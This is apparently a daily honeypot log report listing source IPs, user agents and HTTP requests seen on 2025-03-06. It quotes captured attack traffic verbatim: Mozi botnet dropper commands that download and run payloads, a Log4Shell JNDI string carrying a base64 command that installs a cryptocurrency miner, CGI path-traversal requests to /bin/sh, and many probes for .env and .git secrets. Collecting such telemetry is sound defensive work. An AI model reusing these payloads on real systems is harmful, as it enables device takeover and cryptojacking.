Table of Contents

Daily Report: 2025-03-06
#

interaction report on http service of various Hhoneypot around the world.

OT report simplified
Botnet dropper behaviour
List of source IP addresses
List of user_agent
List of request
List of country_iso_code

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
120.85.119.145	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
45.230.66.14	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.14:11243/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
220.248.25.154	GET /shell?cd+/tmp;rm+-rf+*;wget+http://220.248.25.154:42703/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1

list_of_source_IP_addresses
#

	number_of_occurence	remote_addr
0	113	194.120.230.215
1	72	195.178.110.163
2	53	45.148.10.90
3	46	185.16.38.107
4	45	37.58.18.237
5	42	178.211.139.120
6	41	94.176.179.72
7	38	92.255.57.58
8	24	45.148.10.35
9	24	157.245.212.153
10	22	80.82.77.202
11	19	154.81.156.8
12	19	216.131.77.250
13	16	87.121.84.131
14	16	159.223.17.15
15	14	93.174.93.12
16	14	146.19.215.12
17	13	64.112.74.158
18	12	209.97.163.27
19	11	170.64.239.12
20	10	109.236.61.115
21	9	146.190.134.221
22	8	216.151.184.245
23	7	196.251.85.238
24	6	185.100.87.136
25	6	167.94.145.99
26	6	179.43.161.34
27	5	167.71.75.131
28	5	45.148.10.235
29	5	64.23.201.216
30	5	185.242.226.10
31	5	196.251.85.250
32	5	44.204.218.195
33	5	89.248.165.51
34	5	185.142.236.35
35	5	134.209.241.234
36	5	209.38.211.142
37	4	107.170.65.169
38	4	185.247.137.104
39	4	103.147.184.64
40	4	193.233.48.55
41	4	196.251.86.78
42	4	45.144.212.249
43	4	196.251.72.73
44	3	185.91.127.81
45	3	185.243.96.130
46	3	2.58.56.13
47	3	184.105.139.69
48	3	118.26.38.251
49	3	167.94.138.181
50	3	154.197.57.94
51	2	167.94.145.109
52	2	167.94.138.34
53	2	185.91.127.9
54	2	45.140.17.52
55	2	188.155.121.210
56	2	2.58.56.234
57	2	165.227.165.89
58	2	57.129.64.237
59	2	198.235.24.237
60	2	167.94.146.59
61	2	167.94.138.198
62	2	195.178.110.224
63	2	162.142.125.209
64	2	103.146.158.143
65	2	147.185.132.204
66	2	114.33.7.225
67	2	162.142.125.220
68	2	147.185.132.118
69	2	199.45.155.108
70	2	167.94.145.96
71	2	131.196.33.2
72	2	217.160.228.5
73	2	20.65.193.19
74	2	89.248.168.227
75	2	172.104.11.51
76	2	167.94.138.48
77	2	46.19.138.210
78	2	205.210.31.222
79	2	59.126.76.251
80	2	89.46.239.69
81	2	20.65.194.113
82	2	48.216.196.248
83	2	123.160.223.72
84	2	180.214.239.142
85	2	103.133.111.213
86	2	172.212.103.109
87	2	20.221.67.248
88	2	45.79.181.223
89	2	20.65.193.78
90	2	185.242.226.115
91	2	77.91.74.39
92	2	91.225.218.121
93	2	20.98.142.74
94	2	91.225.218.37
95	2	172.202.118.16
96	2	125.142.74.116
97	2	59.127.241.75
98	2	142.93.103.213
99	2	139.5.1.220
100	2	205.210.31.219
101	2	165.22.88.152
102	2	167.71.61.130
103	1	172.202.118.45
104	1	65.49.1.38
105	1	65.49.1.45
106	1	65.49.1.51
107	1	114.33.29.101
108	1	88.214.25.123
109	1	4.246.247.46
110	1	20.65.192.207
111	1	184.105.139.67
112	1	205.210.31.43
113	1	122.117.23.24
114	1	59.126.194.111
115	1	20.221.67.144
116	1	34.140.125.220
117	1	172.171.245.223
118	1	1.34.247.157
119	1	59.126.165.148
120	1	20.171.30.29
121	1	59.126.242.72
122	1	159.89.27.194
123	1	103.207.125.186
124	1	194.187.176.245
125	1	194.187.176.207
126	1	35.203.210.88
127	1	165.227.164.19
128	1	15.235.189.158
129	1	101.108.12.235
130	1	219.100.104.46
131	1	205.210.31.93
132	1	103.203.56.1
133	1	195.191.219.131
134	1	87.251.64.11
135	1	153.166.0.26
136	1	5.36.204.121
137	1	205.210.31.248
138	1	13.89.124.215
139	1	172.172.245.117
140	1	184.105.139.70
141	1	121.148.200.133
142	1	4.236.190.204
143	1	4.246.227.231
144	1	167.86.68.85
145	1	122.117.58.111
146	1	172.214.113.235
147	1	61.3.24.3
148	1	211.198.160.65
149	1	220.134.35.104
150	1	35.203.211.202
151	1	194.187.176.152
152	1	104.152.52.235
153	1	35.240.43.104
154	1	20.171.29.66
155	1	134.238.202.178
156	1	147.45.112.183
157	1	41.190.70.217
158	1	20.150.202.103
159	1	139.162.71.210
160	1	1.34.232.138
161	1	47.237.115.100
162	1	121.29.178.247
163	1	220.132.40.212
164	1	106.59.248.242
165	1	175.30.48.205
166	1	20.29.34.99
167	1	118.44.167.32
168	1	176.65.137.136
169	1	168.232.14.27
170	1	103.255.233.106
171	1	209.38.213.172
172	1	174.138.19.251
173	1	218.161.62.233
174	1	47.91.91.123
175	1	20.29.36.54
176	1	87.202.53.63
177	1	20.221.65.112
178	1	118.33.139.77
179	1	59.126.168.111
180	1	185.12.59.118
181	1	20.150.202.209
182	1	64.62.197.162
183	1	64.62.197.156
184	1	205.210.31.218
185	1	20.221.66.73
186	1	194.187.176.78
187	1	115.238.44.234
188	1	104.152.52.179
189	1	218.161.88.124
190	1	172.172.245.198
191	1	15.235.189.156
192	1	35.203.211.85
193	1	103.209.184.118
194	1	192.241.155.120
195	1	59.127.235.231
196	1	64.62.156.121
197	1	64.62.156.119
198	1	64.62.156.112
199	1	128.203.201.133
200	1	172.202.118.11
201	1	120.85.119.145
202	1	59.126.203.187
203	1	205.210.31.214
204	1	91.238.181.92
205	1	20.65.193.28
206	1	114.33.38.40
207	1	59.126.75.47
208	1	65.49.20.67
209	1	34.78.84.76
210	1	162.216.150.227
211	1	162.216.149.28
212	1	60.190.226.186
213	1	64.62.197.164
214	1	147.185.132.72
215	1	59.126.136.131
216	1	14.153.5.156
217	1	185.247.137.89
218	1	211.227.6.83
219	1	162.216.149.250
220	1	194.187.176.177
221	1	88.214.25.121
222	1	117.199.77.27
223	1	65.49.1.41
224	1	195.184.76.237
225	1	45.55.153.86
226	1	114.33.115.150
227	1	220.248.25.154
228	1	45.230.66.14
229	1	220.133.168.123
230	1	51.81.110.50
231	1	44.220.188.145
232	1	51.178.236.244
233	1	91.196.152.118
234	1	51.178.236.241
235	1	103.98.38.199
236	1	194.187.176.178
237	1	91.196.152.115
238	1	142.93.162.248
239	1	77.85.205.164
240	1	79.20.194.10
241	1	185.63.99.219
242	1	95.214.54.124
243	1	121.163.106.4
244	1	8.221.142.108
245	1	218.161.95.10
246	1	220.133.16.8
247	1	114.34.92.17
248	1	122.117.41.146
249	1	37.182.156.227
250	1	220.133.107.48
251	1	45.178.249.210
252	1	59.126.92.78
253	1	185.180.140.4
254	1	123.160.223.74
255	1	109.205.213.198

user_agent
#

	number_of_occurence	user_agent
0	363	-
1	114	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
2	99	l9explore/1.2.2
3	43	curl/7.88.1
4	43	Custom-AsyncHttpClient
5	38	Mozilla/5.0 zgrab/0.x
6	37	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
7	35	Mozilla/5.0
8	24	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
9	22	Hello World
10	16	l9tcpid/v1.1.0
11	15	Mozilla/5.0 (compatible)
12	15	Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
13	13	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
14	12	Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
15	12	Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com
16	8	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
17	6	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
18	6	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
19	6	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
20	6	Go-http-client/1.1
21	5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
22	5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
23	5	Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)
24	5	xfa1
25	5	Mozilla/5.0 (Linux; Android 7.1.2; Redmi 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36
26	5	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
27	5	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
28	5	Mozilla/5.0 (Linux; Android 8.0.0; HTC U11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
29	4	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
30	4	curl/8.1.2
31	4	python-requests/2.32.3
32	3	SPARK COMMIT: 08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17
33	3	Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko
34	3	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
35	3	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
36	2	t(’${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//46.8.226.196:3306/TomcatBypass/Command/Base64/ZXhwb3J0IEhPTUU9L3RtcDsgY3VybCAtcyAtTCBodHRwczovL2Rvd25sb2FkLmMzcG9vbC5vcmcveG1yaWdfc2V0dXAvcmF3L21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBMQ19BTEw9ZW5fVVMuVVRGLTggYmFzaCAtcyA0ODZ4cXc3eXNYZEt3N1JrVnpUNXRkU2lEdEU2c294VWRZYUdhR0UxR29hQ2R2QkY3clZnNW9NWEw5cEZ4M3JCMVdVQ1pySnZkNkFITUZXaXBlWXQ1ZUZOVXg5cG1HTg==}')
37	2	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
38	2	python-requests/2.26.0
39	2	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36
40	2	Hello, world
41	2	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
42	2	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
43	2	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
44	2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
45	2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
46	2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
47	2	masscan/1.3 (https://github.com/robertdavidgraham/masscan)
48	2	Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
49	2	Mozilla/5.0 (compatible; ModatScanner/1.0; +https://modat.io/)
50	2	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
51	2	Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)
52	2	Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
53	2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
54	2	Mozilla/5.0 (Linux; Android 7.0; SM-G930F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
55	1	Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)
56	1	HTTP Banner Detection (https://security.ipip.net)
57	1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
58	1	Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher
59	1	Hello, World
60	1	Mozilla/5.0 (Linux; Android 9; H3223) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
61	1	CVE-2023-20198
62	1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
63	1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240&Win32
64	1	Wisenet WAVE/5.1.4.38659 (Hanwha) Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0)
65	1	Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1
66	1	Mozilla/5.0 (Linux; Android 9; POT-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36
67	1	Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36
68	1	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
69	1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
70	1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
71	1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.1 Safari/605.1.15
72	1	Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/51.0.3090.81 Safari/537.32
73	1	Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
74	1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3829.0 Safari/537.36 Edg/77.0.197.1
75	1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
76	1	curl/7.64.1
77	1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
78	1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Maxthon/4.0.0.2000 Chrome/22.0.1229.79 Safari/537.1
79	1	Mozilla/5.0 (Linux; Android 7.0; SM-G925F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
80	1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
81	1	Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

request
#

	number_of_occurence	request
0	266	GET / HTTP/1.1
1	113	GET /cgi-bin/luci/;stok=/locale HTTP/1.1
2	78	GET / HTTP/1.0
3	23	GET /.env HTTP/1.1
4	21	GET /favicon.ico HTTP/1.1
5	19	\x16\x03\x02\x01o\x01\x00\x01k\x03\x02RH\xC5\x1A#\xF7:N\xDF\xE2\xB4\x82/\xFF\x09T\x9F\xA7\xC4y\xB0h\xC6\x13\x8C\xA4\x1C=\x22\xE1\x1A\x98 \x84\xB4,\x85\xAFn\xE3Y\xBBbhl\xFF(=’:\xA9\x82\xD9o\xC8\xA2\xD7\x93\x98\xB4\xEF\x80\xE5\xB9\x90\x00(\xC0
6	15	GET /portal/redlion HTTP/1.1
7	13	GET /?a HTTP/1.1
8	12	GET /login.rsp HTTP/1.1
9	7	GET /.git/config HTTP/1.1
10	7	POST / HTTP/1.1
11	6	\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr
12	5	\x05\x01\x00
13	5	MGLNDD_xxx.xxx.xxx.xxx_80
14	5	GET /manager/html HTTP/1.1
15	5	GET /actuator/health HTTP/1.1
16	4	GET /form.html HTTP/1.1
17	4	GET /password.php HTTP/1.1
18	4	GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
19	4	GET /upl.php HTTP/1.1
20	4	CONNECT ifconfig.co:443 HTTP/1.1
21	4	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
22	4	GET /1.php HTTP/1.1
23	4	GET /geoip/ HTTP/1.1
24	4	GET /t4 HTTP/1.1
25	4	GET /systembc/password.php HTTP/1.1
26	4	\x16\x03\x01\x01
27	4	GET /ReportServer HTTP/1.1
28	4	GET /.env.save HTTP/1.1
29	4	GET /.env.test HTTP/1.1
30	4	GET /geoserver/web/ HTTP/1.1
31	3	POST /Autodiscover/Autodiscover.xml HTTP/1.1
32	3	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
33	3	\x04\x01\x01\xBBh\x156[\x00
34	3	GET /solr/admin/info/system?wt=json HTTP/1.1
35	3	GET /users/users/users/login HTTP/1.1
36	3	GET /console/ HTTP/1.1
37	3	GET /login.html HTTP/1.1
38	3	GET /_ignition/execute-solution HTTP/1.1
39	3	\x03\x00\x00,’\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Domain
40	3	GET /libs/js/iframe.js HTTP/1.0
41	3	GET /users/login HTTP/1.1
42	3	GET /users/users/login HTTP/1.1
43	3	238\x00ll
44	3	POST /api/client/update?arch=amd64&commit=08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17&os=windows HTTP/1.1
45	3	\x10 \x00\x00BBBB\xBA\x8C\xC1\xABDAAA
46	3	\xC9\x94\xD1\xA6\xAE\x9C\x05lM/\x09\x8Cp#\xEE\x9D*5#]\xC7R:\xC8\x8E/\x11\xB8\xCD\x89Z\xFB\xA4\x19f\xD2\xCE\xB3\xA1\x81\xBB\xFC\xA0\xDD%d1\x17\xA6%n\xC5
47	3	GET /api/.env HTTP/1.1
48	3	GET /.env.dev HTTP/1.1
49	3	GET /.env.local HTTP/1.1
50	3	GET /.env.live HTTP/1.1
51	3	GET /public/.git/config HTTP/1.1
52	3	GET /config/.env HTTP/1.1
53	3	POST /HNAP1/ HTTP/1.0
54	3	GET /core/.git/config HTTP/1.1
55	3	GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
56	3	GET /static../.git/config HTTP/1.1
57	3	OPTIONS / HTTP/1.0
58	3	OPTIONS / RTSP/1.0
59	2	GET /sendgrid/.env HTTP/1.1
60	2	GET /prod/.env HTTP/1.1
61	2	GET /src/.git/config HTTP/1.1
62	2	GET /.env.preprod HTTP/1.1
63	2	GET /admin/assets/js/views/login.js HTTP/1.0
64	2	GET /.env.production.local HTTP/1.1
65	2	GET /media/.git/config HTTP/1.1
66	2	GET /www/.git/config HTTP/1.1
67	2	GET /.env.ci HTTP/1.1
68	2	GET /.env.template HTTP/1.1
69	2	GET /build/.env HTTP/1.1
70	2	\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello
71	2	GET /settings/.env HTTP/1.1
72	2	GET /t%28%27$%7B$%7Benv:NaN:-j%7Dndi$%7Benv:NaN:-:%7D$%7Benv:NaN:-l%7Ddap$%7Benv:NaN:-:%7D//46.8.226.196:3306/TomcatBypass/Command/Base64/ZXhwb3J0IEhPTUU9L3RtcDsgY3VybCAtcyAtTCBodHRwczovL2Rvd25sb2FkLmMzcG9vbC5vcmcveG1yaWdfc2V0dXAvcmF3L21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBMQ19BTEw9ZW5fVVMuVVRGLTggYmFzaCAtcyA0ODZ4cXc3eXNYZEt3N1JrVnpUNXRkU2lEdEU2c294VWRZYUdhR0UxR29hQ2R2QkY3clZnNW9NWEw5cEZ4M3JCMVdVQ1pySnZkNkFITUZXaXBlWXQ1ZUZOVXg5cG1HTg==%7D%27%29 HTTP/1.1
73	2	GET /.env.secret HTTP/1.1
74	2	GET /.env.cache HTTP/1.1
75	2	GET /media../.git/config HTTP/1.1
76	2	GET /api/.git/config HTTP/1.1
77	2	GET /www/.env HTTP/1.1
78	2	GET /server/.env HTTP/1.1
79	2	GET /backend/.env HTTP/1.1
80	2	GET /.env.production HTTP/1.1
81	2	GET /src/.env HTTP/1.1
82	2	GET /actuator/gateway/routes HTTP/1.1
83	2	GET /files/.git/config HTTP/1.1
84	2	GET /config_files/.git/config HTTP/1.1
85	2	GET /data/.git/config HTTP/1.1
86	2	GET /users/users/users/favicon.ico HTTP/1.1
87	2	SSH-2.0-Go
88	2	\x00\x00\x00\x00\x00\x06\x01\x03\xB4\x14\x00\x08
89	2	POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
90	2	POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
91	2	GET /.env.backup HTTP/1.1
92	2	GET /robots.txt HTTP/1.1
93	1	\x16\x03\x01\x01\x17\x01\x00\x01\x13\x03\x03\x0B\xEA\x96lOMw\xD3\xE87H\x9C\xBA\x18\xB5\xB2R\x98\xB6v\x8D2\xA9\xD8\xDA\xC9
94	1	GET //tempfuns.php HTTP/1.1
95	1	GET //thoms.php HTTP/1.1
96	1	GET //classfuns.php HTTP/1.1
97	1	GET //userfuns.php HTTP/1.1
98	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03;\x1FMg
99	1	GET //wp-content/hplfuns.php HTTP/1.1
100	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03}\xA7\xB4\xA8\x16\x1Ce\xC4\x8B\x14\xB5U\xC6\x91\xC1F\xBE\x9B>@\xAE&\x9BY\x85K\x93\x15\xD9S\xF1% \x1D\xDF\x87\xA7\xCD\xC3=>\x9D\x9A@wa
101	1	\x16\x03\x01\x00\x80\x01\x00\x00
102	1	GET //wp-content/termps.php HTTP/1.1
103	1	GET /admin/.git/config HTTP/1.1
104	1	GET //termps.php HTTP/1.1
105	1	GET //inputs.php HTTP/1.1
106	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2/scripts/setup.php HTTP/1.0
107	1	\x12\x01\x00^\x00\x00\x01\x00\x00\x00$\x00\x06\x01\x00*\x00\x01\x02\x00+\x00\x01\x03\x00,\x00\x04\x04\x000\x00\x01\x05\x001\x00$\x06\x00U\x00\x01\xFF\x04\x07\x0C\xBC\x00\x00\x00\x00\x00\x00\x15\xD0\x00\xAF/f+\xF6\x7F\x00\x00\x10\xF5\x9F\xCA#\x00\x00\x00\xE0\x81\x8B+\xF6\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF2I\x01
108	1	GET http://xxx.xxx.xxx.xxx:80/webadmin/scripts/setup.php HTTP/1.0
109	1	GET http://xxx.xxx.xxx.xxx:80/admin/scripts/setup.php HTTP/1.0
110	1	GET /.env_sample HTTP/1.1
111	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03XH\x87}\xA4\xBE\x1A\xF9\x87\xF9q8O\xAA\xF5a\x22z\xE8\x0E\xC4\xF7\xD2\xDA\x91GH*\xDF\xC6\x13\xEE \xA6\xA8\xBC\xFA%]\x9Cx, \xB3\x94\x92(\x19\xDCo\xEA\xF8\x98\x05\xFC\x13\xB3\xCB\xFF\x84\xD1\xE3\xEF'9\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
112	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x032_a\xCC\xEA\xDF\xAD\x827\x11\x83\xAD<\x5C\x8C\xCD\x13h\xB3P5q\x92\xE53\xE7\x09[\x1A\xC0\xCA\x90\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
113	1	GET http://xxx.xxx.xxx.xxx:80/dbadmin/scripts/setup.php HTTP/1.0
114	1	GET http://xxx.xxx.xxx.xxx:80/mysql/scripts/setup.php HTTP/1.0
115	1	GET http://xxx.xxx.xxx.xxx:80/phpma/scripts/setup.php HTTP/1.0
116	1	GET /cms/.git/config HTTP/1.1
117	1	GET http://xxx.xxx.xxx.xxx:80/phpmy-admin/scripts/setup.php HTTP/1.0
118	1	GET http://xxx.xxx.xxx.xxx:80/mysql-admin/scripts/setup.php HTTP/1.0
119	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x07\xC7-e\x95\x8C\x80
120	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xB2]3\x14I(?0\xBD;\x02\xA4\xED\xB4M\x9F\xD6c\xFC\x91\x12\x13\xE7\x1A\xA8\xCD\x90O\x17\x8A\x972 \xB0?\xDC\x97\xE9nI1\x01\x9B\x03\x13\xC2\xCB\xB5\x82\x80\x89}\xA1\x16\xD4\x8CC$\xF3\xD7<j\xBAw\xB8\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
121	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xD8\x19\xBDT\x9B\x17\xD6s\xE7\xD9\xE7\xA4 \x8F\xCB[V\x88\x22\xDC\xDF\xAFy\xDE\x89y\xACd\x8E\xAC\xEE\xF2 2\xD6C:G\xEF\xB8\xF4\xAB<\xCDl\x18bG\x8A\x11\xA9A4>\xAA\x5C\x02\xF3\x90\xFAa\xB9@\xA9\x18\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
122	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xE3
123	1	POST /%2577eb%2575i_%2577sma_Http HTTP/1.1
124	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xE9\xA8+\x13\xDF\xDE]%\xCF\xF5\xFF8\xDE\xB9d\xF6’\x1C:\xE5\xFC\x9B\xC3/\x87*\x02UJ:\x89\xD2 m}\xC1\x9E\xB0\xEC\xC5=\x01?\x1A\x18\x8E@\xC7\xD5\x84\xEB4\x1F3\xE5uR)-U/!\xCC\x1F\xE5\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0
125	1	GET /user_panel/.git/config HTTP/1.1
126	1	GET //adminfuns.php HTTP/1.1
127	1	GET //siteheads.php HTTP/1.1
128	1	GET //wp-content/siteheads.php HTTP/1.1
